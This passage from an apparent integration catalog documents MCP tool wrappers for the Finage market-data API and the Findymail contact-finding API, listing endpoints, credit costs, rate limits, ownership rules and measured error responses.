AI-powered forecasting tool that delivers real-time trading signals based on widely used technical indicators such as RSI, MACD, SMA, and Bollinger Bands. Each response includes a recommended signal (buy, sell, or hold), a confidence score, and the full set of indicators used to generate the result. Package permission ids: [6] GET /api/v1/finage/snapshot/forex. Scopes: api. finage_get_snapshot_stock (read) — Stock Snapshot API will give you access to all U.S Market with one single API request. You can get the latest trades, quotes or both of them with one request. Package permission ids: [1] GET /api/v1/finage/snapshot/stock. Scopes: api. finage_get_symbol_list_by_type (read) — You can download and view our symbols and get more details from the symbols page. If you want to get the all symbols with one endpoint, this endpoint will be useful in your product. You can use our search endpoints to search one or more specific tickers. Forex and Crypto pages include 500 symbols, US Market pages include 2500 symbols. Package permission ids: [42, 41, 51, 40, 39, 38, 36, 35, 34, 33, 32, 37, 31, 30, 29, 28, 27, 26, 25, 24, 19, 18, 17, 16, 15, 20, 14, 13, 12, 11, 10, 21, 9, 8, 7, 6, 5, 4, 3, 23, 22, 2, 1] GET /api/v1/finage/symbol-list/{type}. Scopes: api. ================================================================================ ## Findymail URL: https://www.agenticfabriq.com/integrations/findymail Section: Integrated Tools Findymail — 36 MCP tools Provider key: findymail. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. findymail_delete_api_intellimatch_domains (write, destructive) — Remove excluded domains via DELETE /api/intellimatch/domains. Removes one or more domains from the user's exclusion lists. Only domains the user has permission to delete will be removed. For domains in shared lists, the user must have removeDomains permission on the list. For global domains (no list), the user must own the domain. THE TARGETS ARE IN THE BODY, NOT THE PATH: `ids` is the array of excluded-domain ids (from List excluded domains), and it is required. Domains you lack permission to remove are silently skipped rather than refused. Only the record's OWNER may change or delete it: a 403 {"message":"This action is unauthorized."} on a list or monitor shared with you by a teammate is Findymail enforcing ownership, not a credential failure. Findymail validates the body BEFORE acting and answers 422 with a per-field `errors` object naming exactly what is missing or malformed, so a 422 creates and changes nothing. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. DELETE /api/v1/findymail/api/intellimatch/domains. Scopes: api. findymail_delete_api_intellimatch_exclusion_lists_by_excludeddomainlist_id (write, destructive) — Delete an exclusion list via DELETE /api/intellimatch/exclusion-lists/{excludedDomainList_id}. Deletes an exclusion list and all its associated domains. Only the list owner can delete the list. Deletes the list AND every domain in it; the spec documents no restore. Answers 200 `{"success":true}`. Only the record's OWNER may change or delete it: a 403 {"message":"This action is unauthorized."} on a list or monitor shared with you by a teammate is Findymail enforcing ownership, not a credential failure. An id this account cannot see answers 404 {"message":"No query results for model [...] "} naming the model -- a record that was deleted, never existed, or belongs to a team you are not on all answer identically. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. DELETE /api/v1/findymail/api/intellimatch/exclusion-lists/{excludedDomainList_id}. Scopes: api. findymail_delete_api_lists_by_id (write, destructive) — Delete a contact list via DELETE /api/lists/{id}. Deletes the contact list; the spec documents no recycle bin and no restore. Answers 200 `{}` on success. An id this account cannot see answers 404 {"message":"No query results for model [...] "} naming the model -- a record that was deleted, never existed, or belongs to a team you are not on all answer identically. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. DELETE /api/v1/findymail/api/lists/{id}. Scopes: api. findymail_delete_api_signals_monitors_by_id (write, destructive) — Delete a signal monitor via DELETE /api/signals/monitors/{id}. Soft-deletes the specified monitor. A SOFT delete per the spec: the monitor stops and disappears from lists; Findymail documents no restore endpoint. Answers 204 with no body. Only the record's OWNER may change or delete it: a 403 {"message":"This action is unauthorized."} on a list or monitor shared with you by a teammate is Findymail enforcing ownership, not a credential failure. An id this account cannot see answers 404 {"message":"No query results for model [...] "} naming the model -- a record that was deleted, never existed, or belongs to a team you are not on all answer identically. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. DELETE /api/v1/findymail/api/signals/monitors/{id}. Scopes: api. findymail_get_api_contacts_get_by_id (read) — Get the contacts saved in a list via GET /api/contacts/get/{id}. `id` is a contact-list id from List contact lists, or 0 for every saved contact regardless of list. The reply is a DataTables-shaped document -- `draw`, `recordsTotal`, `recordsFiltered` and `data[]` with `id`, `name`, `email`, `linkedin_url`, `company`, `job_title`. The sealed spec types it text/plain, but measured 2026-09-19 on a freshly created empty list it is application/json: `{"draw":0,"recordsTotal":100000,"recordsFiltered":100000,"data":[],"disableOrdering":false}` -- note that `recordsTotal` read 100000 on a list holding NO contacts, so count `data`, not `recordsTotal`. An unknown list id answers 404 naming `Contacts\Models\LeadList`. An id this account cannot see answers 404 {"message":"No query results for model [...] "} naming the model -- a record that was deleted, never existed, or belongs to a team you are not on all answer identically. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. GET /api/v1/findymail/api/contacts/get/{id}. Scopes: api. findymail_get_api_credits (read) — Get remaining credits via GET /api/credits. Two pools: `credits` (finder credits, spent by the finder, phone, company, lookalike, Intellimatch and technology-lookup tools) and `verifier_credits` (spent by Verify an email address). Measured 2026-09-19 on this account: {"credits":25,"verifier_credits":10} -- the reply also carries the account `email`, `id` and `pricing` variant. Call this before a batch of metered searches to know what the batch can afford. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. GET /api/v1/findymail/api/credits. Scopes: api. findymail_get_api_credits_report_summary (read) — Get credit usage over time via GET /api/credits/report/summary. Returns the daily or monthly credit usage of the authenticated user. Groups by day for periods shorter than 2 months, otherwise groups by month. `from` and `to` are YYYY-MM-DD (measured: anything else -> 422 'must be a valid date'); `from` defaults to 30 days ago and `to` to today. The reply is `total.finder`/`total.verifier` plus `items[]` per day, or per month for spans of two months or more. A `from` after `to` is not refused -- it answers 200 with empty `items`. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. GET /api/v1/findymail/api/credits/report/summary. Scopes: api. findymail_get_api_credits_report_team_summary (read) — Get credit usage by team member via GET /api/credits/report/team-summary. Returns a summary of credit usage of all team members within a specific date range. Only team owners can access this endpoint. Team OWNERS only: anyone else answers 403 {"error":"You must be the team owner to access this endpoint"}, which is a role, not a bad token. Same `from`/`to` rules as Get credit usage over time; the reply lists `members[]` with each person's finder and verifier spend. Measured 2026-09-19: 200 with the one member of this account's team. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. GET /api/v1/findymail/api/credits/report/team-summary. Scopes: api. findymail_get_api_intellimatch_data (read) — Get an Intellimatch search's results via GET /api/intellimatch/data. Retrieve paginated company and contact results from a completed search task. Only for a search whose status is `success`; measured 2026-09-19, an unknown hash answers 404 {"status":"error","message":"Failed to retrieve data. Please try again."}. `per_page` defaults to 100 and is capped at 500 (501 -> 422). Each row is a company with its match score and, when contacts were requested, the contact's name, email, job title, phone and profile URL. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. GET /api/v1/findymail/api/intellimatch/data. Scopes: api. findymail_get_api_intellimatch_domains (read) — List excluded domains via GET /api/intellimatch/domains. Returns a paginated list of excluded domains for the authenticated user. Can be filtered by list_id to get domains from a specific list, otherwise returns the global exclusion list. Without `list_id` this is the account's GLOBAL exclusion list (domains added with no list). The envelope is Laravel's paginator -- `data[]`, `current_page`, `per_page`, `total`, `last_page`, `next_page_url` -- and each row is `{id, domain, excluded_domain_list_id}`; the `id` here is what Remove excluded domains takes. `per_page` is capped at 100 (measured: 100000 -> 422 'must not be greater than 100'); the default is 15. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. GET /api/v1/findymail/api/intellimatch/domains. Scopes: api. findymail_get_api_intellimatch_exclusion_lists (read) — List exclusion lists via GET /api/intellimatch/exclusion-lists. Returns all exclusion lists the authenticated user has access to (owned lists and lists shared with their team) Exclusion lists hold the domains an Intellimatch or lookalike search must skip (competitors, existing customers). Each row carries `id`, `name`, `is_shared`, `is_owner`, `user_id` and `owner_name`. This is also this integration's connection probe: measured 2026-09-19, the real token -> 200 `{"lists":[]}` (then the one list this build created, with its `id`, `is_owner` true, `owner_name`); a bogus token, no Authorization header, and the token sent WITHOUT the `Bearer` prefix -> 401 {"message":"Unauthenticated."}. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. GET /api/v1/findymail/api/intellimatch/exclusion-lists. Scopes: api. findymail_get_api_intellimatch_exclusion_lists_by_excludeddomainlist_id (read) — Get an exclusion list via GET /api/intellimatch/exclusion-lists/{excludedDomainList_id}. Returns the details of a specific exclusion list (without domains). To get domains, use the dedicated GET /api/intellimatch/domains?list_id={id} endpoint. Users can only access lists they own or lists shared with their team. The list's metadata only, WITHOUT its domains -- read those with List excluded domains filtered by `list_id`. Measured 2026-09-19 on the list this build created: 200 with the same `id`, `name`, `is_shared`, `is_owner`, `user_id` and `owner_name` the create returned. An id this account cannot see answers 404 {"message":"No query results for model [...] "} naming the model -- a record that was deleted, never existed, or belongs to a team you are not on all answer identically. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. GET /api/v1/findymail/api/intellimatch/exclusion-lists/{excludedDomainList_id}. Scopes: api. findymail_get_api_intellimatch_status (read) — Get an Intellimatch search's status via GET /api/intellimatch/status. Poll this endpoint to check if a given search is completed. The response will contain a `status` field with one of the following values: - `success`: Export is completed and ready to download - `processing`: Export is currently being processed (includes progress information) - `pending`: Export is queued but not yet started - `failed`: Export has failed - `not_found`: Export hash not found or expired Measured 2026-09-19: a hash no search produced answers 200 {"status":"not_found"} rather than 404, so read the `status` field -- `success`, `processing` (with `progress` and job counts), `pending`, `failed` or `not_found` -- and never the HTTP code alone. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. GET /api/v1/findymail/api/intellimatch/status. Scopes: api. findymail_get_api_lists (read) — List contact lists via GET /api/lists. Returns the contact (lead) lists this token can see -- the ones the account owns plus the ones teammates shared -- each with `id`, `name`, `shared_with_team` and `is_owner`. This is where a list id comes from for the other list tools and for `lead_list_id` on searches and monitors. Measured 2026-09-19: `{"lists":[]}` on the fresh account, then the one list created by this build's write pass appeared here with the same `id` the create returned. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. GET /api/v1/findymail/api/lists. Scopes: api. findymail_get_api_signals (read) — List signals via GET /api/signals. Returns a paginated list of signals from monitors accessible by the authenticated user (owned and team-shared). Supports filtering by signal_type, monitor_id, and date range. Signals are the events the account's monitors detected -- keyword mentions, new hires, job changes, post engagement -- each with its contact, company, `detected_at`, `expires_at` and the monitors that matched it. `signal_type` is one of `keyword_mention`, `new_hire`, `job_change`, `post_engagement`; `relevance_scores` is a comma-separated subset of 0-5 (anything else -> 422); dates are YYYY-MM-DD. `per_page` defaults to 50 and is CLAMPED to 100 rather than refused (measured: 101 -> 100). The Signals feature can be disabled on a plan, which Findymail reports as 404 with an empty body rather than as a permission error. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. GET /api/v1/findymail/api/signals. Scopes: api. findymail_get_api_signals_by_id (read) — Get a signal via GET /api/signals/{id}. Returns a single signal with its associated contact, company, and the authenticated user's monitors. One signal with its contact, company and the monitors that matched it. An id this account cannot see answers 404 naming `Signals\Models\Signal` (measured 2026-09-19). An id this account cannot see answers 404 {"message":"No query results for model [...] "} naming the model -- a record that was deleted, never existed, or belongs to a team you are not on all answer identically. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. GET /api/v1/findymail/api/signals/{id}. Scopes: api. findymail_get_api_signals_monitors (read) — List signal monitors via GET /api/signals/monitors. Returns all monitors accessible by the authenticated user (owned and team-shared), ordered by most recent first. Each monitor includes a match_count with the number of signals matched. Every monitor this token can see, newest first, each with its `signal_type`, `status`, `keywords`, `icp_filters`, `webhook_url`, `match_count`, `is_shared` and `is_owner`. `ownership` is `my`, `team` or `all` (measured: anything else -> 422 'The selected ownership is invalid.'). Measured 2026-09-19 on this account: `[]`. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. GET /api/v1/findymail/api/signals/monitors. Scopes: api. findymail_get_api_technologies_search (read) — Search the technology catalog via GET /api/technologies/search. Search the technology catalog by name. Returns up to 25 technologies. Free endpoint — no credits consumed. Rate-limited to 10 requests per minute. The names to pass as `technologies` to Look up a company's technology stack. `q` is required and at least 2 characters (measured: `R` -> 422). Each row is `{name, category, subcategory}`; measured 2026-09-19, `q=React` returned React, React Native, react-testing-library and more. THIS ROUTE HAS ITS OWN RATE LIMIT of 10 requests per minute (x-ratelimit-limit: 10, measured), against 5000 elsewhere. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. GET /api/v1/findymail/api/technologies/search. Scopes: api. findymail_patch_api_signals_monitors_by_id (write) — Update a signal monitor via PATCH /api/signals/monitors/{id}. Updates an existing monitor. The signal_type cannot be changed after creation. A PATCH: send only the fields to change. `signal_type` CANNOT be changed after creation; `target_companies` is refused (422) unless the type is `new_hire` or `job_change`; only the owner or a team admin may change `is_shared`. Only the record's OWNER may change or delete it: a 403 {"message":"This action is unauthorized."} on a list or monitor shared with you by a teammate is Findymail enforcing ownership, not a credential failure. An id this account cannot see answers 404 {"message":"No query results for model [...] "} naming the model -- a record that was deleted, never existed, or belongs to a team you are not on all answer identically. Findymail validates the body BEFORE acting and answers 422 with a per-field `errors` object naming exactly what is missing or malformed, so a 422 creates and changes nothing. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. PATCH /api/v1/findymail/api/signals/monitors/{id}. Scopes: api. findymail_post_api_intellimatch_domains (write) — Add excluded domains via POST /api/intellimatch/domains. Adds one or more domains to the user's exclusion list. If list_id is provided, domains are added to that specific list. For large batches (>50 domains), the first 50 are processed immediately and the rest are queued for background processing. `domains` is required (measured: `{}` -> 422 'The domains field is required.'), up to 10000 names per call; beyond 50 the rest are queued and the reply reports `processed_immediately` and `queued` counts. Without `list_id` the domains become global exclusions. Findymail validates the body BEFORE acting and answers 422 with a per-field `errors` object naming exactly what is missing or malformed, so a 422 creates and changes nothing. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. POST /api/v1/findymail/api/intellimatch/domains. Scopes: api. findymail_post_api_intellimatch_exclusion_lists (write) — Create an exclusion list via POST /api/intellimatch/exclusion-lists. Creates a new exclusion list for the authenticated user. Optionally share the list with the user's current team. `name` is required and must be unique per user; `is_shared` requires the account to be on a team. Measured 2026-09-19: `{}` -> 422 'The name field is required.'; a valid name -> 200 with the list (`id`, `name`, `is_shared` false, `is_owner` true, `user_id`, `owner_name`), readable at once at its own address; the SAME name again -> 422 'The name has already been taken.' Findymail validates the body BEFORE acting and answers 422 with a per-field `errors` object naming exactly what is missing or malformed, so a 422 creates and changes nothing. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. POST /api/v1/findymail/api/intellimatch/exclusion-lists. Scopes: api. findymail_post_api_intellimatch_search (write) — Start an Intellimatch lead search via POST /api/intellimatch/search. Create an Intellimatch search task. Intellimatch is Findymail's intelligent company search tool that lets you build highly targeted lead lists using plain language queries. Instead of manually applying filters or reviewing websites one by one, Intellimatch uses real-time semantic search to find the best-fit companies and contacts. The API responds immediately with a `hash` identifying the task for polling completion status. Please check https://help.findymail.com/en/article/what-is-supported-in-intellimatch-15s0u10/ for more information about what is supported or not. `query` is plain language ("SaaS companies in US with 50-200 employees"); `limit` defaults to 100 and maxes at 5000. The reply is only `{"hash": ...}` -- the search runs asynchronously, so poll Get an Intellimatch search's status with that hash until `status` is `success`, then read Get an Intellimatch search's results. `config.target_job_titles` is up to 3 priority tiers, each a list of equivalent titles. Findymail validates the body BEFORE acting and answers 422 with a per-field `errors` object naming exactly what is missing or malformed, so a 422 creates and changes nothing. COSTS FINDER CREDITS according to `config`: 1 per email found when `find_email` is true and 10 per phone number found when `find_phone` is true; with `require_email` true, companies without an email are excluded and not charged. The search runs asynchronously and charges as it enriches, so a `limit` of 5000 with `find_email` on is a 5000-credit exposure. A 402 here means the account is OUT OF CREDITS and a 423 means the Findymail SUBSCRIPTION IS PAUSED -- neither is a bad token, and neither is fixed by reconnecting; top up or resume the plan at app.findymail.com. Only a 401 {"message":"Unauthenticated."} is a credential problem. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. POST /api/v1/findymail/api/intellimatch/search. Scopes: api. findymail_post_api_lists (write) — Create a contact list via POST /api/lists. `name` is required (measured: `{}` -> 422 'The name field is required.'). The new list is returned under `list` with its `id`, `created_at`, `shared_with_team` (false) and `is_owner` (true) -- measured 2026-09-19 with a disposable list, which then appeared in List contact lists and answered Get the contacts saved in a list. Findymail validates the body BEFORE acting and answers 422 with a per-field `errors` object naming exactly what is missing or malformed, so a 422 creates and changes nothing. Consumes NO credits: Findymail meters only its finder, verifier and lookup routes, and this is an account, list, exclusion-list, signal or usage operation. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. POST /api/v1/findymail/api/lists. Scopes: api. findymail_post_api_lookalike_search (write) — Search lookalike companies via POST /api/lookalike/search. Find companies similar to a given seed domain. Optionally filter results by same country or same company size, and exclude companies from specific exclusion lists. Credit cost: 1 Finder credit per 10 results returned (rounded up). `seed` (a company domain or URL) is required; `limit` defaults to 100 and maxes at 10000; `exclusion_list_ids` drops companies already in those exclusion lists. Findymail validates the body BEFORE acting and answers 422 with a per-field `errors` object naming exactly what is missing or malformed, so a 422 creates and changes nothing. COSTS 1 FINDER CREDIT PER 10 RESULTS RETURNED, rounded up -- so `limit` is the budget knob, and the default of 100 results costs 10 credits. A 402 here means the account is OUT OF CREDITS and a 423 means the Findymail SUBSCRIPTION IS PAUSED -- neither is a bad token, and neither is fixed by reconnecting; top up or resume the plan at app.findymail.com. Only a 401 {"message":"Unauthenticated."} is a credential problem. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. POST /api/v1/findymail/api/lookalike/search. Scopes: api. findymail_post_api_search_business_profile (write) — Find an email from a business profile URL via POST /api/search/business-profile. Find someone's email from a business profile URL. Uses one finder credit if a verified email is found. This endpoint is limited to 30 concurrent requests (when used synchronously) `linkedin_url` accepts the full profile URL or the bare username. The spec limits this route to 30 concurrent synchronous requests. If `webhook_url` is supplied the search runs in the background and the result is POSTed to that URL instead of being returned here -- the synchronous reply then carries no contact, so omit `webhook_url` when the answer is wanted in this call. Findymail validates the body BEFORE acting and answers 422 with a per-field `errors` object naming exactly what is missing or malformed, so a 422 creates and changes nothing. COSTS 1 FINDER CREDIT if a verified email is found; a search that finds nothing is free. A 402 here means the account is OUT OF CREDITS and a 423 means the Findymail SUBSCRIPTION IS PAUSED -- neither is a bad token, and neither is fixed by reconnecting; top up or resume the plan at app.findymail.com. Only a 401 {"message":"Unauthenticated."} is a credential problem. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. POST /api/v1/findymail/api/search/business-profile. Scopes: api. findymail_post_api_search_company (write) — Get company information via POST /api/search/company. Retrieve company data using a company profile URL, name, or website domain. At least one of these fields must be specified. Consumes 1 Finder credit per successful response (only when company data is found). Supply at least ONE of `linkedin_url`, `domain` or `name` -- none is individually required, but all three absent answers 422 {"error":"One identifier is required: linkedin_url, domain, name"}, and no match answers 404 {"message":"Not Found"}. The reply carries name, domain, company_size, industry, linkedin_url and description. Findymail validates the body BEFORE acting and answers 422 with a per-field `errors` object naming exactly what is missing or malformed, so a 422 creates and changes nothing. COSTS 1 FINDER CREDIT per successful response -- only when company data is found; a 404 is free. A 402 here means the account is OUT OF CREDITS and a 423 means the Findymail SUBSCRIPTION IS PAUSED -- neither is a bad token, and neither is fixed by reconnecting; top up or resume the plan at app.findymail.com. Only a 401 {"message":"Unauthenticated."} is a credential problem. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. POST /api/v1/findymail/api/search/company. Scopes: api. findymail_post_api_search_domain (write) — Find contacts at a domain by role (deprecated) via POST /api/search/domain. Try finding a contact with a valid email at a given domain with a given role. A contact is only returned if we found a valid email. Due to the heavy processing involved (real-time search), this endpoint is limited to 5 concurrent requests (when used synchronously) and async jobs can take up to 24 hours to be processed depending on our workload (usually sooner). `roles` takes at most 3 target roles. Real-time search: the spec limits this route to 5 concurrent synchronous requests, and with `webhook_url` the job may take up to 24 hours. DEPRECATED BY FINDYMAIL: its own documentation says this endpoint 'is no longer recommended for production usage' and points at Find employees at a company (findymail_post_api_search_employees) instead. It still answers, but prefer the replacement for new work. If `webhook_url` is supplied the search runs in the background and the result is POSTed to that URL instead of being returned here -- the synchronous reply then carries no contact, so omit `webhook_url` when the answer is wanted in this call. Findymail validates the body BEFORE acting and answers 422 with a per-field `errors` object naming exactly what is missing or malformed, so a 422 creates and changes nothing. COSTS FINDER CREDITS for the contacts it returns (the spec states no per-contact figure for this route; budget 1 per contact as the Find employees tool charges). A 402 here means the account is OUT OF CREDITS and a 423 means the Findymail SUBSCRIPTION IS PAUSED -- neither is a bad token, and neither is fixed by reconnecting; top up or resume the plan at app.findymail.com. Only a 401 {"message":"Unauthenticated."} is a credential problem. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. POST /api/v1/findymail/api/search/domain. Scopes: api. findymail_post_api_search_employees (write) — Find employees at a company via POST /api/search/employees. Find one or more employees using the company website and job title. This endpoint uses 1 credit per found contact. This endpoint does NOT return an email. `website` and `job_titles` (up to 10) are required; `count` is how many contacts to return (default 1, max 5). Each result carries `name`, `linkedinUrl`, `companyWebsite`, `companyName` and `jobTitle` -- and NO email, by design. Findymail validates the body BEFORE acting and answers 422 with a per-field `errors` object naming exactly what is missing or malformed, so a 422 creates and changes nothing. COSTS 1 FINDER CREDIT PER CONTACT FOUND (up to `count`, max 5), and returns NO email address -- pair it with Find an email from a business profile URL, which costs another credit per verified email. A 402 here means the account is OUT OF CREDITS and a 423 means the Findymail SUBSCRIPTION IS PAUSED -- neither is a bad token, and neither is fixed by reconnecting; top up or resume the plan at app.findymail.com. Only a 401 {"message":"Unauthenticated."} is a credential problem. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. POST /api/v1/findymail/api/search/employees. Scopes: api. findymail_post_api_search_name (write) — Find an email from a name and company via POST /api/search/name. Find someone's email from name and company (website or name). Uses one finder credit if a verified email is found. `name` (the person's full name) and `domain` (the company website, or its name as a fallback) are both required. The reply carries the contact with its verified email, or no contact when none was found. If `webhook_url` is supplied the search runs in the background and the result is POSTed to that URL instead of being returned here -- the synchronous reply then carries no contact, so omit `webhook_url` when the answer is wanted in this call. Findymail validates the body BEFORE acting and answers 422 with a per-field `errors` object naming exactly what is missing or malformed, so a 422 creates and changes nothing. COSTS 1 FINDER CREDIT if a verified email is found; a search that finds nothing is free. A 402 here means the account is OUT OF CREDITS and a 423 means the Findymail SUBSCRIPTION IS PAUSED -- neither is a bad token, and neither is fixed by reconnecting; top up or resume the plan at app.findymail.com. Only a 401 {"message":"Unauthenticated."} is a credential problem. Findymail allows 5000 requests per minute per token (the technology catalog search has its own budget of 10 per minute) and caps concurrency at 300 simultaneous requests; a 429 {"message":"Too Many Attempts."} is the budget, never the credential, and a rejected credential consumes none of it. POST /api/v1/findymail/api/search/name. Scopes: api. findymail_post_api_search_phone (write) — Find a phone number from a business profile URL via POST /api/search/phone. Find someone's phone number from a business profile URL. Uses 10 finder credits if a phone is found. For legal reasons, requests for EU citizens will not return any result. `linkedin_url` accepts the full profile URL or the bare username. Findymail validates the body BEFORE acting and answers 422 with a per-field `errors` object naming exactly what is missing or malformed, so a 422 creates and changes nothing. COSTS 10 FINDER CREDITS if a phone number is found -- ten times the price of an email -- and for legal reasons returns nothing for EU citizens, which is then free. A 402 here means the account is OUT OF CREDITS and a 423 means the Findymail SUBSCRIPTION IS PAUSED -- neither is a bad token, and neither is fixed by reconnecting; top up or resume the plan at app.findymail.com. Only a 401 